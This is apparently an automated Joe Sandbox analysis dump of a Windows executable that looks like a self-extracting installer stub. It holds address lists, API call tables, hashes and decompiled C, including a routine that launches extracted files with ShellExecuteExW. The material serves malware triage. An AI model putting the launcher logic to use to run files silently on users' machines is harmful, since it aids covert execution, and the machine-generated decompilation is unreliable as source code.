0x013bb301
0x013bb317
0x013bb31c
0x013bb31d
0x013bb322
0x013bb303
0x013bb303
0x013bb308
0x013bb309
0x013bb30e
0x013bb30e
0x013bb301
0x013bb343
0x013bb345
0x013bb34c
0x013bb35a
0x013bb361
0x013bb366
0x013bb367
0x013bb368
0x013bb36a
0x013bb36b
0x013bb372
0x013bb3c2
0x013bb3c7
0x013bb3c9
0x00000000
0x00000000
0x013bb3cf
0x013bb3d1
0x013bb3d7
0x013bb3de
0x00000000
0x00000000
0x013bb3e0
0x013bb3e2
0x013bb3e3
0x013bb3e3
0x013bb3e6
0x013bb3e9
0x013bb3f3
0x013bb3f3
0x013bb3f5
0x013bb3f7
0x013bb401
0x013bb406
0x013bb408
0x013bb446
0x013bb449
0x013bb449
0x013bb44b
0x013bb44c
0x013bb44c
0x00000000
0x013bb44c
0x013bb40a
0x013bb40c
0x013bb40d
0x013bb40f
0x013bb412
0x013bb427
0x013bb429
0x013bb42a
0x013bb42a
0x013bb42d
0x013bb42d
0x013bb432
0x013bb433
0x013bb439
0x013bb439
0x013bb43a
0x013bb43f
0x013bb440
0x013bb441
0x00000000
0x013bb441
0x013bb414
0x013bb41b
0x013bb41e
0x013bb41f
0x00000000
0x013bb41f
0x013bb3eb
0x013bb3ed
0x013bb3ee
0x013bb3f1
0x00000000
0x00000000
0x00000000
0x013bb44e
0x013bb44e
0x013bb451
0x013bb451
0x013bb456
0x013bb458
0x013bb45a
0x013bb45a
0x013bb45c
0x013bb45c
0x00000000
0x013bb374
0x013bb37b
0x013bb387
0x013bb38d
0x013bb38e
0x013bb38f
0x013bb394
0x013bb397
0x013bb399
0x013bb39f
0x013bb3a1
0x013bb3af
0x013bb3b4
0x013bb3b5
0x013bb3b5
0x013bb45f
0x013bb45f
0x013bb467
0x013bb46c
0x013bb46e
0x013bb46f
0x013bb475
0x013bb476
0x013bb47c
0x013bb47d
0x013bb47d
0x013bb482
0x013bb483
0x013bb489
0x013bb48a
0x013bb490
0x013bb491
0x013bb496
0x013bb49e
0x013bb4aa
0x013bb4aa
0x013bb4b7
0x013bb4bc
0x013bb4c4
0x013bb4ce
0x013bb4db
0x013bb4e2
0x013bb4e2
0x013bb4ee
0x013bb4f5
0x013bb4fa
0x013bb502
0x013bb508
0x013bb509
0x013bb50a
0x013bb50c
0x013bb50c
0x013bb521
0x013bb526
0x013bb532
0x013bb534
0x013bb545
0x013bb552
0x00000000
0x013bb536
0x013bb541
0x013bb543
0x013bb557
0x013bb557
0x013bb559
0x013bb55f
0x013bb565
0x013bb573
0x013bb578
0x013bb579
0x013bb581
0x013bb586
0x013bb58d
0x013bb593
0x013bb595
0x013bb59b
0x013bb5a1
0x013bb5a3
0x013bb5ac
0x013bb5af
0x013bb5b1
0x013bb5ba
0x013bb5bd
0x013bb5c3
0x013bb5c6
0x013bb5cf
0x013bb5de
0x013bb5e3
0x013bb5eb
0x013bb5ed
0x013bb5ee
0x013bb5f4
0x013bb5f5
0x013bb5f7
0x013bb5fc
0x013bb5fc
0x00000000
0x013bb5eb
0x00000000
0x013bb543
0x013bb534
0x00000000
0x013bb604
0x013bb607
0x013bb609
0x013bb609
0x00000000
0x00000000
0x013bb035
0x013bb03d
0x013bb043
0x013bb046
0x013bb06a
0x013bb048
0x013bb048
0x013bb04b
0x013bb05e
0x013bb04d
0x013bb04d
0x013bb04f
0x013bb054
0x013bb054
0x013bb04b
0x00000000
0x00000000
0x013bb0ae
0x013bb0af
0x013bb0b4
0x013bb0b4
0x013bb0b4
0x013bb0b7
0x013bb0bc
0x013bb0c2
0x013bb0c2
0x013bb0c8
0x013bb0ce
0x013bb0ce
0x00000000
0x00000000
0x013baaa7
0x013baaa9
0x013baaae
0x013baab4
0x013baab7
0x00000000
0x013baab9
0x013baab9
0x00000000
0x013baab9
0x013bb610
0x013bb610
0x013bb615
0x013bb619
0x013bb61d
0x013bb624
0x013bb62b
0x013bb62e
0x013bb633
0x013bb636
0x013bb639
0x013bb643

APIs

__EH_prolog.LIBCMT ref: 013BAA49

Part of subcall function 013B96EB: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 013B97B3

SetFileAttributesW.KERNEL32(?,00000005,?,?,?,00000800,?,?,00000000,00000001,013BA35C,?,00000000), ref: 013BAB7E
GetFileAttributesW.KERNEL32(?), ref: 013BAC38
DeleteFileW.KERNEL32(?), ref: 013BAC46
SetWindowTextW.USER32(?,?), ref: 013BAD8F
_wcsrchr.LIBVCRUNTIME ref: 013BAF19
GetDlgItem.USER32(?,00000066), ref: 013BAF54
SetWindowTextW.USER32(00000000,?), ref: 013BAF64
SendMessageW.USER32(00000000,00000143,00000000,013E412A), ref: 013BAF78
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 013BAFA1

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 013BAE38
ProgramFilesDir, xrefs: 013BAE63
%s.%d.tmp, xrefs: 013BAC5E
<br>, xrefs: 013BACF2

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: File$AttributesMessageSendTextWindow$DeleteEnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3676479488-312220925
Opcode ID: 41e5e32225caebdb20fa2bbfec42e4412492ed79f2a4e37e67f8c2e89589265e
Instruction ID: e7ae01ff390042bdb0d8a04092238b55ca011ff9a31d69c0f8b5464f62892ecf
Opcode Fuzzy Hash: 41e5e32225caebdb20fa2bbfec42e4412492ed79f2a4e37e67f8c2e89589265e
Instruction Fuzzy Hash: F5E16472900119AAEF25EBA8DD85EDF777CEB05758F0044AAF645E3440FE749B84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013ACF27 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 013AC8DE: _wcschr.LIBVCRUNTIME ref: 013AC90D

GetWindowRect.USER32(?,?), ref: 013ACF5E
GetClientRect.USER32(?,?), ref: 013ACF6A
GetWindowLongW.USER32(?,000000F0), ref: 013AD00B
GetWindowRect.USER32(?,?), ref: 013AD038
GetWindowTextW.USER32(?,?,00000400), ref: 013AD057
SetWindowTextW.USER32(?,?), ref: 013AD07E
GetSystemMetrics.USER32(00000008), ref: 013AD086
GetWindow.USER32(?,00000005), ref: 013AD091
GetWindowTextW.USER32(00000000,?,00000400), ref: 013AD0BC
SetWindowTextW.USER32(00000000,00000000), ref: 013AD0E9
GetWindowRect.USER32(00000000,?), ref: 013AD0FC
GetWindow.USER32(00000000,00000002), ref: 013AD16E

Strings

d, xrefs: 013ACF8A

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID: d
API String ID: 4134264131-2564639436
Opcode ID: 5f1b3d5509ed1e4780487cf16b01d425971bc9389ef94309369309c6aa6ba27e
Instruction ID: ff01619fa9ba9f36a855902d605f8414c281f77e31d0dacceaf4230a77d92bad
Opcode Fuzzy Hash: 5f1b3d5509ed1e4780487cf16b01d425971bc9389ef94309369309c6aa6ba27e
Instruction Fuzzy Hash: 89617F72209305AFD311DFA8D988E6FBBEEFBC9714F44491DF68493180C674E9068B52

Uniqueness

Uniqueness Score: -1.00%

Function 013BB70D Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E013BB70D(intOrPtr _a4, long _a8) {
				char _v67;
				intOrPtr _v72;
				signed int _v84;
				int _v88;
				void* _v92;
				intOrPtr _t39;
				struct HWND__* _t44;

				_t44 = GetDlgItem( *0x13e20f0, 0x68);
				if( *0x13e20fe == 0) {
					E013B7C21( *0x13e2110);
					ShowWindow(_t44, 5); // executed
					SendMessageW(_t44, 0xb1, 0, 0xffffffff);
					SendMessageW(_t44, 0xc2, 0, 0x13d02e4);
					 *0x13e20fe = 1;
				}
				SendMessageW(_t44, 0xb1, 0x5f5e100, 0x5f5e100);
				_v92 = 0x5c;
				SendMessageW(_t44, 0x43a, 0,  &_v92);
				_v67 = 0;
				_t39 = _a4;
				_v88 = 1;
				if(_t39 != 0) {
					_v72 = 0xa0;
					_v88 = 0x40000001;
					_v84 = _v84 & 0xbfffffff | 1;
				}
				SendMessageW(_t44, 0x444, 1,  &_v92);
				SendMessageW(_t44, 0xc2, 0, _a8);
				SendMessageW(_t44, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_t39 != 0) {
					_v84 = _v84 & 0xfffffffe | 0x40000000;
					SendMessageW(_t44, 0x444, 1,  &_v92);
				}
				return SendMessageW(_t44, 0xc2, 0, L"\r\n");
			}

0x013bb72a
0x013bb737
0x013bb73f
0x013bb747
0x013bb756
0x013bb760
0x013bb762
0x013bb762
0x013bb776
0x013bb77c
0x013bb78c
0x013bb790
0x013bb794
0x013bb799
0x013bb79f
0x013bb7aa
0x013bb7b4
0x013bb7bc
0x013bb7bc
0x013bb7cc
0x013bb7d6
0x013bb7e5
0x013bb7e9
0x013bb7f7
0x013bb808
0x013bb808
0x013bb81c

APIs

GetDlgItem.USER32(00000068,013F8958), ref: 013BB71C
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,013B9324), ref: 013BB747
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 013BB756
SendMessageW.USER32(00000000,000000C2,00000000,013D02E4), ref: 013BB760
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 013BB776
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 013BB78C
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 013BB7CC
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 013BB7D6
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 013BB7E5
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 013BB808
SendMessageW.USER32(00000000,000000C2,00000000,013D1368), ref: 013BB813

Strings

\, xrefs: 013BB77C

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: MessageSend$ItemShowWindow
String ID: \
API String ID: 1207805008-2967466578
Opcode ID: b248c5800f1f2bb0bfccf64747adb9191d9b8e0cf7338cc127282a6b51bf86ea
Instruction ID: 05d95c4b04bf781122093c47974fa140abb985565b86d5a5ee0ce6bec74acbe3
Opcode Fuzzy Hash: b248c5800f1f2bb0bfccf64747adb9191d9b8e0cf7338cc127282a6b51bf86ea
Instruction Fuzzy Hash: 2121F8712857447BF321EB259C41FAB7EDCEF82718F000919F690AA1C0D7A55A048BA7

Uniqueness

Uniqueness Score: -1.00%

Function 013BB9A9 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E013BB9A9(struct _SHELLEXECUTEINFOW _a4, char* _a8, char* _a16, signed short* _a20, signed short* _a24, int _a32, void* _a48, char _a52, intOrPtr _a56, char _a64, struct HWND__* _a4160, signed short* _a4168, intOrPtr _a4172) {
				signed short _v0;
				long _v12;
				void* __edi;
				int _t54;
				signed int _t57;
				signed short* _t58;
				long _t68;
				int _t77;
				signed int _t80;
				signed short* _t81;
				signed short _t82;
				intOrPtr _t84;
				long _t86;
				signed short* _t87;
				struct HWND__* _t89;
				signed short* _t91;
				void* _t93;
				void* _t95;
				void* _t99;

				_t54 = 0x1040;
				E013BCEC0();
				_t91 = _a4168;
				_t77 = 0;
				if( *_t91 == 0) {
					L55:
					return _t54;
				}
				_t54 = E013C20A3(_t91);
				if(0x1040 >= 0x7f6) {
					goto L55;
				} else {
					_t86 = 0x3c;
					E013BDE40(_t86,  &_a4, 0, _t86);
					_t84 = _a4172;
					_t99 = _t99 + 0xc;
					_a4.cbSize = _t86;
					_a8 = 0x1c0;
					if(_t84 != 0) {
						_a8 = 0x5c0;
					}
					_t80 =  *_t91 & 0x0000ffff;
					_t87 =  &(_t91[1]);
					_t95 = 0x22;
					if(_t80 != _t95) {
						_t87 = _t91;
					}
					_a20 = _t87;
					_t57 = _t77;
					if(_t80 == 0) {
						L13:
						_t58 = _a24;
						L14:
						if(_t58 == 0 ||  *_t58 == _t77) {
							if(_t84 == 0 &&  *0x13e512a != _t77) {
								_a24 = 0x13e512a;
							}
						}
						_a32 = 1;
						_t93 = E013AB0EC(_t87);
						if(_t93 != 0 && E013B0B00(_t93, L".inf") == 0) {
							_a16 = L"Install";
						}
						if(E013A9E4F(_a20) != 0) {
							_push(0x800);
							_push( &_a64);
							_push(_a20);
							E013AAE70();
							_a8 =  &_a52;
						}
						_t54 = ShellExecuteExW( &_a4); // executed
						if(_t54 != 0) {
							_t89 = _a4160;
							if( *0x13e3120 != _t77 || _a4168 != _t77 ||  *0x13f8941 != _t77) {
								if(_t89 != 0) {
									_push(_t89);
									if( *0x13daa84() != 0) {
										ShowWindow(_t89, _t77);
										_t77 = 1;
									}
								}
								 *0x13daa80(_a56, 0x7d0);
								E013BBE68(_a48);
								if( *0x13f8941 != 0 && _a4160 == 0 && GetExitCodeProcess(_a48,  &_v12) != 0) {
									_t68 = _v12;
									if(_t68 >  *0x13f8944) {
										 *0x13f8944 = _t68;
									}
									 *0x13f8942 = 1;
								}
							}
							CloseHandle(_a48);
							if(_t93 == 0 || E013B0B00(_t93, L".exe") != 0) {
								_t54 = _a4160;
								if( *0x13e3120 != 0 && _t54 == 0 &&  *0x13f8941 == _t54) {
									 *0x13f8948 = 0x1b58;
								}
							} else {
								_t54 = _a4160;
							}
							if(_t77 != 0 && _t54 != 0) {
								_t54 = ShowWindow(_t89, 1);
							}
						}
						goto L55;
					}
					_t81 = _t91;
					_v0 = 0x20;
					do {
						if( *_t81 == _t95) {
							while(1) {
								_t57 = _t57 + 1;
								if(_t91[_t57] == _t77) {
									break;
								}
								if(_t91[_t57] == _t95) {
									_t82 = _v0;
									_t91[_t57] = _t82;
									L10:
									if(_t91[_t57] == _t82 ||  *((short*)(_t91 + 2 + _t57 * 2)) == 0x2f) {
										if(_t91[_t57] == _v0) {
											_t91[_t57] = 0;
										}
										_t58 =  &(_t91[_t57 + 1]);
										_a24 = _t58;
										goto L14;
									} else {
										goto L12;
									}
								}
							}
						}
						_t82 = _v0;
						goto L10;
						L12:
						_t57 = _t57 + 1;
						_t81 =  &(_t91[_t57]);
					} while ( *_t81 != _t77);
					goto L13;
				}
			}

0x013bb9a9
0x013bb9ae
0x013bb9b5
0x013bb9bc
0x013bb9c1
0x013bbc0d
0x013bbc15
0x013bbc15
0x013bb9c8
0x013bb9d3
0x00000000
0x013bb9d9
0x013bb9dc
0x013bb9e4
0x013bb9e9
0x013bb9f0
0x013bb9f3
0x013bb9f7
0x013bba01
0x013bba03
0x013bba03
0x013bba0b
0x013bba0e
0x013bba14
0x013bba18
0x013bba1a
0x013bba1a
0x013bba1c
0x013bba20
0x013bba25
0x013bba5d
0x013bba5d
0x013bba61
0x013bba63
0x013bba6c
0x013bba77
0x013bba77
0x013bba6c
0x013bba80
0x013bba8d
0x013bba91
0x013bbaa2
0x013bbaa2
0x013bbab5
0x013bbab7
0x013bbac0
0x013bbac1
0x013bbac5
0x013bbace
0x013bbace
0x013bbad7
0x013bbadf
0x013bbae5
0x013bbaf8
0x013bbb0d
0x013bbb0f
0x013bbb18
0x013bbb1c
0x013bbb1e
0x013bbb1e
0x013bbb18
0x013bbb29
0x013bbb33
0x013bbb3f
0x013bbb5e
0x013bbb68
0x013bbb6a
0x013bbb6a
0x013bbb6f
0x013bbb6f
0x013bbb3f
0x013bbb7a
0x013bbb82
0x013bbb9a
0x013bbba1
0x013bbbaf
0x013bbbaf
0x013bbbf7
0x013bbbf7
0x013bbbf7
0x013bbc00
0x013bbc09
0x013bbc09
0x013bbc00
0x00000000
0x013bbc0c
0x013bba27
0x013bba29
0x013bba31
0x013bba34
0x013bbbc1
0x013bbbc1
0x013bbbc6
0x00000000
0x00000000
0x013bbbbf
0x013bbbcd
0x013bbbd1
0x013bba3e
0x013bba42
0x013bbbe2
0x013bbbe6
0x013bbbe6
0x013bbbeb
0x013bbbee
0x00000000
0x00000000
0x00000000
0x00000000
0x013bba42
0x013bbbbf
0x013bbbc8
0x013bba3a
0x00000000
0x013bba54
0x013bba54
0x013bba55
0x013bba58
0x00000000
0x013bba31

APIs

ShellExecuteExW.SHELL32(000001C0), ref: 013BBAD7
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?), ref: 013BBB1C
GetExitCodeProcess.KERNEL32 ref: 013BBB54
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 013BBB7A
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 013BBC09

Part of subcall function 013B0B00: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,013AAC99,?,?,?,013AAC48,?,-00000002,?,00000000,?), ref: 013B0B16

Strings

.exe, xrefs: 013BBB84
.inf, xrefs: 013BBA93
, xrefs: 013BBA29

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: a613278c2c04df3ccc0afcfecf834cd34f593f218efc82459160416151b0da85
Instruction ID: 96f9147db1fa4241056a433392fbd2fbc01255e8a9b848203db24556124aad15
Opcode Fuzzy Hash: a613278c2c04df3ccc0afcfecf834cd34f593f218efc82459160416151b0da85
Instruction Fuzzy Hash: BF51BF315093809AEB31DF28D580AEBFBE9AF8470CF44481DE7C19795DFBA19548C752

Uniqueness

Uniqueness Score: -1.00%

Function 013ACB1C Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E013ACB1C(signed int* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t81;
				void* _t82;
				WCHAR* _t83;
				void* _t88;
				signed int _t91;
				unsigned int _t92;
				void* _t99;
				signed int _t101;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				signed int _t105;
				void* _t108;
				intOrPtr _t112;
				signed int _t117;
				void* _t120;
				void* _t122;
				void* _t125;
				signed int _t132;
				signed int* _t134;
				signed int _t150;
				signed int _t151;
				intOrPtr _t154;
				void* _t161;
				signed int _t165;
				intOrPtr _t168;
				signed int _t169;
				signed int _t170;
				signed int _t171;
				signed int* _t173;
				void* _t175;
				void* _t177;

				_t161 = __edx;
				_t134 = __ecx;
				E013BCDF0(E013CF66E, _t175);
				E013BCEC0();
				_push(0x800);
				_t81 = 0x5c;
				_push(0x403c);
				_push( *((intOrPtr*)(_t175 + 8)));
				_t173 = _t134;
				 *((intOrPtr*)(_t175 - 0x24)) = _t81;
				_t82 = E013C00DA(_t134);
				_t132 = 0;
				_t179 = _t82;
				_t83 = _t175 - 0x1024;
				if(_t82 != 0) {
					E013AF160(_t83,  *((intOrPtr*)(_t175 + 8)), 0x800);
				} else {
					GetModuleFileNameW(0, _t83, 0x800);
					 *((short*)(E013AB8DC(_t179, _t175 - 0x1024))) = 0;
					E013AF138(_t179, _t175 - 0x1024,  *((intOrPtr*)(_t175 + 8)), 0x800);
				}
				E013A9451(_t175 - 0x2048);
				_push(4);
				 *(_t175 - 4) = _t132;
				_push(_t175 - 0x1024);
				if(E013A978D(_t175 - 0x2048, _t173) != 0) {
					_t168 = 0xffffffffffffffff;
					 *(_t175 + 0xb) = _t132;
					 *((intOrPtr*)(_t175 - 0x10)) = 0xffffffffffffffff;
					 *(_t175 - 0x1c) = _t132;
					L5:
					while(_t168 == 0xffffffff) {
						 *((intOrPtr*)(_t175 - 0x14)) = E013A9B3B();
						_t112 = E013A995D(_t161, _t175 - 0x4048, 0x2000);
						 *((intOrPtr*)(_t175 - 0x18)) = _t112;
						_t171 = _t132;
						_t20 = _t112 - 0x10; // -16
						_t154 = _t20;
						 *((intOrPtr*)(_t175 - 0x20)) = _t154;
						if(_t154 < 0) {
							L22:
							_t113 =  *((intOrPtr*)(_t175 - 0x14));
							_t168 =  *((intOrPtr*)(_t175 - 0x10));
							goto L23;
						} else {
							L7:
							while(1) {
								if( *((char*)(_t175 + _t171 - 0x4048)) != 0x2a ||  *((char*)(_t175 + _t171 - 0x4047)) != 0x2a) {
									L11:
									_t161 = 0x2a;
									if( *((intOrPtr*)(_t175 + _t171 - 0x4048)) != _t161) {
										L15:
										if( *((char*)(_t175 + _t171 - 0x4048)) != 0x52 ||  *((char*)(_t175 + _t171 - 0x4047)) != 0x61) {
											L18:
											_t171 = _t171 + 1;
											if(_t171 >  *((intOrPtr*)(_t175 - 0x20))) {
												goto L22;
											} else {
												_t112 =  *((intOrPtr*)(_t175 - 0x18));
												continue;
											}
										} else {
											_t120 = E013C3650(_t175 - 0x4046 + _t171, 0x13d0620, 4);
											_t177 = _t177 + 0xc;
											if(_t120 != 0) {
												goto L18;
											}
										}
									} else {
										_t159 = _t175 - 0x4044 + _t171;
										if( *((intOrPtr*)(_t175 - 0x4044 + _t171 - 2)) != _t161 || _t171 > _t112 + 0xffffffe0) {
											goto L15;
										} else {
											_t122 = E013C3579(_t159, L"*messages***", 0xb);
											_t177 = _t177 + 0xc;
											if(_t122 == 0) {
												 *(_t175 + 0xb) = 1;
												goto L21;
											} else {
												goto L15;
											}
										}
									}
								} else {
									_t125 = E013C3650(_t175 - 0x4046 + _t171, "*messages***", 0xb);
									_t177 = _t177 + 0xc;
									if(_t125 == 0) {
										L21:
										_t113 =  *((intOrPtr*)(_t175 - 0x14));
										_t168 = _t171 +  *((intOrPtr*)(_t175 - 0x14));
										 *((intOrPtr*)(_t175 - 0x10)) = _t168;
										L23:
										E013A9A30(_t175 - 0x2048, _t175, _t113 +  *((intOrPtr*)(_t175 - 0x18)) + 0xfffffff0, _t132, _t132);
										_t117 =  *(_t175 - 0x1c) + 1;
										 *(_t175 - 0x1c) = _t117;
										__eflags = _t117 - 0x100;
										if(_t117 < 0x100) {
											goto L5;
										} else {
											__eflags = _t168 - 0xffffffff;
											if(_t168 != 0xffffffff) {
												goto L25;
											}
										}
									} else {
										_t112 =  *((intOrPtr*)(_t175 - 0x18));
										goto L11;
									}
								}
								goto L53;
							}
						}
						goto L53;
					}
					L25:
					asm("cdq");
					E013A9A30(_t175 - 0x2048, _t175, _t168, _t161, _t132);
					_push(0x80002);
					_t91 = E013C20C3(_t175 - 0x2048);
					 *_t173 = _t91;
					__eflags = _t91;
					if(_t91 != 0) {
						_t92 = E013A995D(_t161, _t91, 0x80000);
						_t144 =  *(_t175 + 0xb);
						_t173[1] = _t92;
						__eflags =  *(_t175 + 0xb);
						if( *(_t175 + 0xb) == 0) {
							_push(2 + _t92 * 2);
							_t169 = E013C20C3(_t144);
							__eflags = _t169;
							if(_t169 != 0) {
								 *(_t173[1] +  *_t173) = _t132;
								__eflags = _t173[1] + 1;
								E013B06D7( *_t173, _t169, _t173[1] + 1);
								L013C20BE( *_t173);
								 *_t173 = _t169;
								goto L30;
							}
						} else {
							_t173[1] = _t92 >> 1;
							L30:
							_t150 = 0x40000;
							__eflags = _t173[1] - 0x40000;
							if(_t173[1] <= 0x40000) {
								_t150 = _t173[1];
							}
							 *((short*)( *_t173 + _t150 * 2)) = 0;
							_t151 = _t132;
							__eflags = _t173[1] - _t132;
							if(_t173[1] > _t132) {
								_t99 = 0xd;
								while(1) {
									_t165 =  *_t173;
									_t170 =  *(_t165 + _t132 * 2) & 0x0000ffff;
									_t132 = _t132 + 1;
									__eflags = _t170;
									if(_t170 == 0) {
										goto L52;
									}
									__eflags = _t170 -  *((intOrPtr*)(_t175 - 0x24));
									if(_t170 !=  *((intOrPtr*)(_t175 - 0x24))) {
										__eflags = _t170 - _t99;
										if(_t170 == _t99) {
											L49:
											_t170 = 0xc;
										} else {
											_t108 = 0xa;
											__eflags = _t170 - _t108;
											if(_t170 == _t108) {
												goto L49;
											}
										}
										goto L50;
									} else {
										_t101 = ( *(_t165 + _t132 * 2) & 0x0000ffff) - 0x22;
										__eflags = _t101;
										if(_t101 == 0) {
											_push(0x22);
											goto L46;
										} else {
											_t103 = _t101 - 0x3a;
											__eflags = _t103;
											if(_t103 == 0) {
												_push(0x5c);
												goto L46;
											} else {
												_t104 = _t103 - 0x12;
												__eflags = _t104;
												if(_t104 == 0) {
													_push(0xa);
													goto L46;
												} else {
													_t105 = _t104 - 4;
													__eflags = _t105;
													if(_t105 == 0) {
														_push(0xd);
														goto L46;
													} else {
														__eflags = _t105 != 0;
														if(_t105 != 0) {
															L50:
															 *(_t165 + _t151 * 2) = _t170;
														} else {
															_push(9);
															L46:
															_pop(_t102);
															 *(_t165 + _t151 * 2) = _t102;
															_t132 = _t132 + 1;
														}
													}
												}
											}
										}
									}
									_t151 = _t151 + 1;
									_t99 = 0xd;
									__eflags = _t132 - _t173[1];
									if(_t132 < _t173[1]) {
										continue;
									}
									goto L52;
								}
							}
							L52:
							__eflags = 0;
							 *((short*)( *_t173 + _t151 * 2)) = 0;
							_t173[1] = _t151;
						}
					}
				}
				L53:
				_t88 = E013A9487(_t175 - 0x2048); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0xc));
				return _t88;
			}

0x013acb1c
0x013acb1c
0x013acb21
0x013acb2b
0x013acb32
0x013acb35
0x013acb36
0x013acb37
0x013acb3a
0x013acb3c
0x013acb3f
0x013acb45
0x013acb47
0x013acb4a
0x013acb50
0x013acb8c
0x013acb52
0x013acb5a
0x013acb72
0x013acb7c
0x013acb7c
0x013acb97
0x013acb9c
0x013acba4
0x013acba7
0x013acbb5
0x013acbbb
0x013acbbe
0x013acbc1
0x013acbc4
0x00000000
0x013acbc7
0x013acbdb
0x013acbf0
0x013acbf5
0x013acbf8
0x013acbfa
0x013acbfa
0x013acbfd
0x013acc02
0x013accc1
0x013accc1
0x013accc4
0x00000000
0x00000000
0x00000000
0x013acc08
0x013acc10
0x013acc3b
0x013acc3d
0x013acc46
0x013acc71
0x013acc79
0x013acca5
0x013acca5
0x013acca9
0x00000000
0x013accab
0x013accab
0x00000000
0x013accab
0x013acc85
0x013acc95
0x013acc9a
0x013acc9f
0x00000000
0x00000000
0x013acc9f
0x013acc48
0x013acc4e
0x013acc54
0x00000000
0x013acc5d
0x013acc65
0x013acc6a
0x013acc6f
0x013accb3
0x00000000
0x00000000
0x00000000
0x00000000
0x013acc6f
0x013acc54
0x013acc1c
0x013acc2c
0x013acc31
0x013acc36
0x013accb7
0x013accb7
0x013accba
0x013accbc
0x013accc7
0x013accd8
0x013acce0
0x013acce1
0x013acce4
0x013acce9
0x00000000
0x013accef
0x013accef
0x013accf2
0x00000000
0x00000000
0x013accf2
0x013acc38
0x013acc38
0x00000000
0x013acc38
0x013acc36
0x00000000
0x013acc10
0x013acc08
0x00000000
0x013acc02
0x013accf8
0x013acd01
0x013acd04
0x013acd09
0x013acd0e
0x013acd13
0x013acd16
0x013acd18
0x013acd2a
0x013acd2f
0x013acd32
